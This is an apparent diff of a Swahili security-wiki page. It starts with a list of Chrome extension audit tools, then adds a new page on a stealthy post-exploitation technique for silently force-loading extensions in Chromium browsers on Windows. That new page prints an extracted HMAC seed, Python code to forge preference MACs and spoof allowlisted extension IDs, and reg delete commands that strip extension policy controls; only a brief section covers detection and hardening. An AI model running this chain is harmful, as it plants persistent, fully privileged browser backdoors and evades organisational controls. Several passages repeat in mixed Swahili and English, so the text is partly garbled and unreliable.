- **Uchambuzi wa Uwezekano wa Clickjacking**: Ugunduzi wa kurasa za HTML za kiongezeo zenye mwelekeo wa [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources). Hizi zinaweza kuwa na hatari ya clickjacking kulingana na kusudi la kurasa hizo.
- **Mtazamaji wa Onyo la Ruhusa**: unaonyesha orodha ya onyo zote za ruhusa za Chrome ambazo zitaonyeshwa wakati mtumiaji anajaribu kufunga kiongezeo.
- **Kazi Hatari**: inaonyesha eneo la kazi hatari ambazo zinaweza kutumiwa na mshambuliaji (mfano, kazi kama innerHTML, chrome.tabs.executeScript).
- **Mahali pa Kuingia**: inaonyesha mahali kiongezeo kinapochukua pembejeo za mtumiaji/za nje. Hii ni muhimu kwa kuelewa eneo la uso la kiongezeo na kutafuta maeneo yanayoweza kutumiwa kutuma data iliyoundwa kwa uovu kwa kiongezeo.
- Wote skana za Kazi Hatari na Mahali pa Kuingia zina yafuatayo kwa arifa zao zilizozalishwa:
- Kipande cha msimbo kinachohusiana na mstari ulioleta arifa.
- Maelezo ya tatizo.
- Kitufe cha "Tazama Faili" ili kuona faili kamili ya chanzo inayohusisha msimbo.
- Njia ya faili iliyoarifiwa.
- URI kamili ya kiongezeo cha Chrome ya faili iliyoarifiwa.
- Aina ya faili ni, kama vile script ya Ukurasa wa Nyuma, Script ya Maudhui, Kitendo cha Kivinjari, nk.
- Ikiwa mstari unaoweza kuathiriwa uko katika faili ya JavaScript, njia za kurasa zote ambapo imejumuishwa pamoja na aina za kurasa hizi, na hali ya [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources).
- **Mchambuzi wa Sera ya Usalama wa Maudhui (CSP) na kipima kupita**: Hii itaonyesha udhaifu katika CSP ya kiongezeo chako na pia itaonyesha njia zozote zinazoweza kupita CSP yako kutokana na CDNs zilizoorodheshwa, nk.
- **Maktaba Zinazojulikana Kuwa na Mapungufu**: Hii inatumia [Retire.js](https://retirejs.github.io/retire.js/) kuangalia matumizi ya maktaba za JavaScript zinazojulikana kuwa na mapungufu.
- Pakua kiongezeo na toleo lililopangwa.
- Pakua kiongezeo asilia.
- Pakua toleo lililopambwa la kiongezeo (HTML na JavaScript iliyopambwa kiotomatiki).
- Hifadhi matokeo ya skana kiotomatiki, kuendesha skana ya kiongezeo kutachukua muda mzuri mara ya kwanza unayoendesha. Hata hivyo, mara ya pili, ikiwa kiongezeo hakijasasishwa, itakuwa karibu papo hapo kutokana na matokeo kuhifadhiwa.
- URL za Ripoti zinazoweza kuunganishwa, rahisi kuunganisha mtu mwingine kwenye ripoti ya kiongezeo iliyozalishwa na tarnish.
- Inashusha Chrome extension yoyote kutoka kwa provided Chrome webstore link.
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **viewer**: inaonyesha tu toleo la JSON lililosafishwa la manifest ya extension.
- **Fingerprint Analysis**: Ugundaji wa [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) na uzalishaji wa moja kwa moja wa Chrome extension fingerprinting JavaScript.
- **Potential Clickjacking Analysis**: Ugundaji wa kurasa za HTML za extension zilizo na directive ya [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) imewezeshwa. Hizi zinaweza kuwa zinazoathiriwa na clickjacking kulingana na kusudi la kurasa.
- **Permission Warning(s) viewer**: inaonyesha orodha ya warnings zote za Chrome permission prompt ambazo zitaonekana wakati mtumiaji anapo jaribu kusanisha extension.
- **Dangerous Function(s)**: inaonyesha mahali pa functions hatari ambazo zinaweza kutumika na mshambuliaji (kwa mfano functions kama innerHTML, chrome.tabs.executeScript).
- **Entry Point(s)**: inaonyesha wapi extension inapata input ya mtumiaji/ya nje. Hii ni muhimu kwa kuelewa surface area ya extension na kutafuta pointi za kutuma data iliyochorwa kwa usalama kwa extension.
- Scanner za Dangerous Function(s) na Entry Point(s) zinaripoti zifuatazo kwa alerts zao:
- Kipande cha code kinachohusiana na line ambayo ilisababisha alert.
- Maelezo ya tatizo.
- Kitufe “View File” kuona faili kamili la chanzo linalohusiana na code.
- Path ya faili iliyoelezwa.
- URI kamili ya Chrome extension ya faili iliyoelezwa.
- Aina ya faili, kama Background Page script, Content Script, Browser Action, n.k.
- Ikiwa line yenye udhaifu iko kwenye faili la JavaScript, paths za kurasa zote ambapo imejumuishwa pamoja na aina za kurasa hizo, na status ya [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources).
- **Content Security Policy (CSP) analyzer and bypass checker**: Hii itaonyesha udhaifu katika CSP ya extension yako na pia itaonyesha njia zinazoweza kutumika kupitisha CSP yako kutokana na CDNs zilizo kwenye whitelist, n.k.
- **Known Vulnerable Libraries**: Inatumia [Retire.js](https://retirejs.github.io/retire.js/) kutafuta matumizi ya maktaba za JavaScript zilizo na vulnerabilities zinazojulikana.
- Pakua extension na matoleo yaliyoandaliwa.
- Pakua extension asilia.
- Pakua toleo lililosafishwa la extension (HTML na JavaScript zimepangwa vizuri).
- Caching ya matokeo ya skeni kwa kiotomatiki; kukimbia skeni itachukua muda mzito mara ya kwanza. Mara ya pili itakuwa karibu mara moja ikiwa extension haijatengenezwa upya.
- Linkable Report URLs, rahisi kumtumia mtu mwingine link ya ripoti ya extension iliyotengenezwa na tarnish.
### [Neto](https://github.com/elevenpaths/neto)
Mradi wa Neto ni kifurushi cha Python 3 kilichoundwa kuchambua na kufichua vipengele vilivyofichwa vya plugins na kiongezeo kwa vivinjari maarufu kama Firefox na Chrome. Inafanya mchakato wa kufungua faili zilizofungashwa ili kutoa vipengele hivi kutoka kwa rasilimali zinazohusiana katika kiongezeo kama `manifest.json`, folda za lugha au faili za chanzo za Javascript na HTML.
Mradi Neto ni package ya Python 3 iliyoundwa kuchambua na kufichua sifa zilizojificha za browser plugins na extensions kwa browsers zinazojulikana kama Firefox na Chrome. Inafanya automatiska mchakato wa kufungua faili zilizopakiwa (unzipping) ili kukusanya sifa hizi kutoka kwa rasilimali muhimu ndani ya extension kama `manifest.json`, folda za localization au vyanzo vya Javascript na HTML.
## Marejeleo
## References
- **Shukrani kwa** [**@naivenom**](https://twitter.com/naivenom) **kwa msaada na mbinu hii**
- **Thanks to** [**@naivenom**](https://twitter.com/naivenom) **for the help with this methodology**
- [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing)
- [https://palant.info/2022/08/10/anatomy-of-a-basic-extension/](https://palant.info/2022/08/10/anatomy-of-a-basic-extension/)
- [https://palant.info/2022/08/24/attack-surface-of-extension-pages/](https://palant.info/2022/08/24/attack-surface-of-extension-pages/)

View File

@ -0,0 +1,206 @@
# Forced Extension Load & Preferences MAC Forgery (Windows)
{{#include ../../banners/hacktricks-training.md}}
## Muhtasari
Stealthy post-exploitation technique ya kulazimisha kupakia extensions yoyote kwenye vivinjari vinavyotegemea Chromium kwenye Windows kwa kuhariri Preferences/Secure Preferences za mtumiaji na kutengeneza HMACs halali kwa node zilizobadilishwa. Inafanya kazi dhidi ya Chrome/Chromium, Edge, na Brave. Imeonekana kutumika kuanzia Chromium 130 hadi 139 wakati wa uchapishaji. Disk write primitive rahisi katika profile ya mwathiriwa inatosha kuendelea kuweka extension yenye ruhusa kamili bila flags za command-line au taarifa kwa mtumiaji.
> Wazo kuu: Chromium huhifadhi hali ya extension kwa kila mtumiaji katika faili ya JSON ya preferences na kuilinda kwa HMAC-SHA256. Ikiwa utahesabu MACs halali kwa kutumia browsers embedded seed na kuyaandika kando ya node ulizozingiza, browser itayakubali na kuanzisha entry ya extension yako.
## Wapi hali ya extension inakaa (Windows)
- Profaili ya Chrome isiyounganishwa na domain:
- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Secure Preferences (includes a root "super_mac").
- Profaili ya Chrome iliyounganishwa na domain:
- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Preferences
- Nodi muhimu zinazotumika na Chromium:
- extensions.settings.<extension_id> → embedded manifest/metadata for the extension entry
- protection.macs.extensions.settings.<extension_id> → HMAC for that JSON blob
- Chromium ≥134: extensions.ui.developer_mode (boolean) must be present and MACsigned for unpacked extensions to activate
Mchoro uliorahisishwa (ielekezi):
```json
{
"extensions": {
"settings": {
"<extension_id>": {
"name": "Extension name",
"manifest_version": 3,
"version": "1.0",
"key": "<BASE64 DER SPKI>",
"path": "<absolute path if unpacked>",
"state": 1,
"from_bookmark": false,
"was_installed_by_default": false
// ...rest of manifest.json + required install metadata
}
},
"ui": { "developer_mode": true }
},
"protection": {
"macs": {
"extensions": {
"settings": { "<extension_id>": "<MAC>" },
"ui": { "developer_mode": "<MAC>" }
}
}
}
}
```
Vidokezo:
- Edge/Brave zinabaki na miundo sawa. Thamani ya protection seed inaweza kutofautiana (kwa baadhi ya builds ilionekana Edge/Brave zinatumia null au seed nyingine).
## Extension IDs: path vs key na jinsi ya kuzifanya deterministic
Chromium hupata extension ID kama ifuatavyo:
- Extension iliyopakiwa/imesigned: ID = SHA256 over DERencoded SubjectPublicKeyInfo (SPKI) → take first 32 hex chars → map 0f to ap
- Isiyopakiwa (hakuna key katika manifest): ID = SHA256 over the absolute installation path bytes → map 0f to ap
Ili kuweka ID thabiti kwenye hosts mbalimbali, ingiza fixed base64 DER public key katika manifest.json chini ya "key". ID itatokana na key hii badala ya installation path.
Msaidizi wa kuzalisha deterministic ID na key pair:
```python
import base64
import hashlib
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
def translate_crx_id(s: str) -> str:
t = {'0':'a','1':'b','2':'c','3':'d','4':'e','5':'f','6':'g','7':'h','8':'i','9':'j','a':'k','b':'l','c':'m','d':'n','e':'o','f':'p'}
return ''.join(t.get(c, c) for c in s)
def generate_extension_keys() -> tuple[str,str,str]:
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = priv.public_key()
spki = pub.public_bytes(encoding=serialization.Encoding.DER,
format=serialization.PublicFormat.SubjectPublicKeyInfo)
crx_id = translate_crx_id(hashlib.sha256(spki).digest()[:16].hex())
pub_b64 = base64.b64encode(spki).decode('utf-8')
priv_der = priv.private_bytes(encoding=serialization.Encoding.DER,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption())
priv_b64 = base64.b64encode(priv_der).decode('utf-8')
return crx_id, pub_b64, priv_b64
print(generate_extension_keys())
```
Ongeza public key iliyotengenezwa kwenye manifest.json yako ili kufunga ID:
```json
{
"manifest_version": 3,
"name": "Synacktiv extension",
"version": "1.0",
"key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2lMCg6..."
}
```
## Kuforgea integrity MACs za Mapendeleo (core bypass)
Chromium inalinda mapendeleo kwa HMACSHA256 juu ya "path" + serialized JSON value ya kila node. Mbegu ya HMAC imejumuishwa ndani ya browsers resources.pak na ilikuwa bado halali hadi Chromium 139.
Toa mbegu kwa kutumia GRIT pak_util na tafuta seed container (file id 146 katika builds zilizotestwa):
```bash
python3 pak_util.py extract resources.pak -o resources_v139/
python3 pak_util.py extract resources.pak -o resources_v139_dirty/
# compare a clean vs minimally modified resources.pak to spot the seed holder
xxd -p resources_v139/146
# e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8
```
Hesabu MACs (hex kwa herufi kubwa) kama:
```text
ext_mac = HMAC_SHA256(seed,
"extensions.settings.<crx_id>" + json.dumps(<settings_json>))
devmode_mac = HMAC_SHA256(seed,
"extensions.ui.developer_mode" + ("true" or "false"))
```
Mfano mdogo wa Python:
```python
import json, hmac, hashlib
def mac_upper(seed_hex: str, pref_path: str, value) -> str:
seed = bytes.fromhex(seed_hex)
# Compact JSON to match Chromium serialization closely
val = json.dumps(value, separators=(',', ':')) if not isinstance(value, str) else value
msg = (pref_path + val).encode('utf-8')
return hmac.new(seed, msg, hashlib.sha256).hexdigest().upper()
# Example usage
settings_path = f"extensions.settings.{crx_id}"
devmode_path = "extensions.ui.developer_mode"
ext_mac = mac_upper(seed_hex, settings_path, settings_json)
devmode_mac = mac_upper(seed_hex, devmode_path, "true")
```
Weka thamani zifuatazo chini ya:
- protection.macs.extensions.settings.<crx_id> = ext_mac
- protection.macs.extensions.ui.developer_mode = devmode_mac (Chromium ≥134)
Tofauti za vivinjari: kwenye Microsoft Edge na Brave seed inaweza kuwa null/tofauti. Muundo wa HMAC unabaki ule ule; rekebisha seed ipasavyo.
> Vidokezo vya utekelezaji
> - Tumia serialization sawa kabisa ya JSON ambayo Chromium inatumia wakati wa kuhesabu MACs (JSON compact bila whitespace ni salama kwa vitendo; kupanga keys kunaweza kusaidia kuepuka matatizo ya mpangilio).
> - Hakikisha extensions.ui.developer_mode ipo na imesainiwa kwenye Chromium ≥134, la sivyo entry yako isiyofungwa haitafanya kazi.
## Mtiririko wa upakaji kimya kutoka mwanzo hadi mwisho (Windows)
1) Tengeneza ID inayotarajiwa na weka "key" ndani ya manifest.json; andaa extension ya MV3 isiyofungwa (unpacked) na ruhusa zinazotarajiwa (service worker/content scripts)
2) Tengeneza extensions.settings.<id> kwa kuingiza manifest na metadata ya chini ya usakinishaji inayohitajika na Chromium (state, path for unpacked, n.k.)
3) Chimba HMAC seed kutoka resources.pak (file 146) na hesabu MACs mbili: moja kwa settings node na moja kwa extensions.ui.developer_mode (Chromium ≥134)
4) Andika nodes zilizotengenezwa na MACs ndani ya target profiles Preferences/Secure Preferences; uzinduzi ujao utaamilisha extension yako kwa njia ya otomatiki na ruhusa zote zilizotangazwa
## Kupita vidhibiti vya shirika
- Whitelisted extension hash spoofing (ID spoofing)
1) Sakinisha extension ya Web Store iliyoruhusiwa na kumbuka ID yake
2) Pata public key yake (km. kupitia chrome.runtime.getManifest().key katika background/service worker au kwa kuchukua/kuchambua .crx yake)
3) Weka key hiyo kama manifest.key katika extension yako iliyorekebishwa ili kuzalisha ID ile ile
4) Sajili entry ndani ya Preferences na saini MACs → Uhakiki wa ExtensionInstallAllowlist unaotegemea ID pekee hupitwa
- Extension stomping (ID collision precedence)
- Ikiwa local unpacked extension ina ID ile ile na extension ya Web Store iliyosakinishwa, Chromium hupendelea ile isiyofungwa (unpacked). Hii kwa vitendo inaibadilisha extension halali kwenye chrome://extensions huku ikihifadhi ID inayotambulika. Imethibitishwa kwenye Chrome na Edge (mfano, Adobe PDF)
- Kuzima GPO kupitia HKCU (inahitaji admin)
- Chrome/Edge policies zipo chini ya HKCU\Software\Policies\*
- Kwa haki za admin, futa/rekebisha policy keys kabla ya kuandika entries zako ili kuepuka vizuizi:
```powershell
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallBlocklist" /f
```
## Njia mbadala inayosababisha kelele: command-line loading
Kuanzia Chromium ≥137, --load-extension inahitaji pia kupitisha:
```text
--disable-features=DisableLoadExtensionCommandLineSwitch
```
Mbinu hii inajulikana sana na inafuatiliwa (kwa mfano, na EDR/DFIR; hutumika pia na commodity malware kama Chromeloader). Preference MAC forging inaficha zaidi.
Related flags and more crossplatform tricks are discussed here:
{{#ref}}
../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md
{{#endref}}
## Athari za kiutendaji
Mara ikikubaliwa, extension inaendesha kwa ruhusa zake zilizotangazwa, ikimaanisha DOM access, request interception/redirects, cookie/storage access, and screenshot capture—effectively inbrowser code execution and durable userprofile persistence. Utekelezaji wa mbali kupitia SMB au njia nyingine ni rahisi kwa sababu uanzishaji unatokana na data kupitia Preferences.
## Utambuzi na kuimarisha
- Fuatilia michakato isiyo ya Chromium inayoweka data kwenye Preferences/Secure Preferences, hasa nodes mpya chini ya extensions.settings zinazoambatanishwa na protection.macs entries
- Toa tahadhari kwa kubadili bila kutegemewa kwa extensions.ui.developer_mode na kwa HMACvalid lakini unapproved extension entries
- Kagua HKCU/HKLM Software\Policies kwa ajili ya udanganyifu; tekeleza policies kupitia device management/Chrome Browser Cloud Management
- Toa kipaumbele kwa forcedinstall kutoka store na verified publishers badala ya allowlists zinazolingana kwa extension ID pekee
## References
- [The Phantom Extension: Backdooring chrome through uncharted pathways](https://www.synacktiv.com/en/publications/the-phantom-extension-backdooring-chrome-through-uncharted-pathways.html)
- [pak_util.py (GRIT)](https://chromium.googlesource.com/chromium/src/+/master/tools/grit/pak_util.py)
- [SecurePreferencesFile (prior research on HMAC seed)](https://github.com/Pica4x6/SecurePreferencesFile)
- [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome)
{{#include ../../banners/hacktricks-training.md}}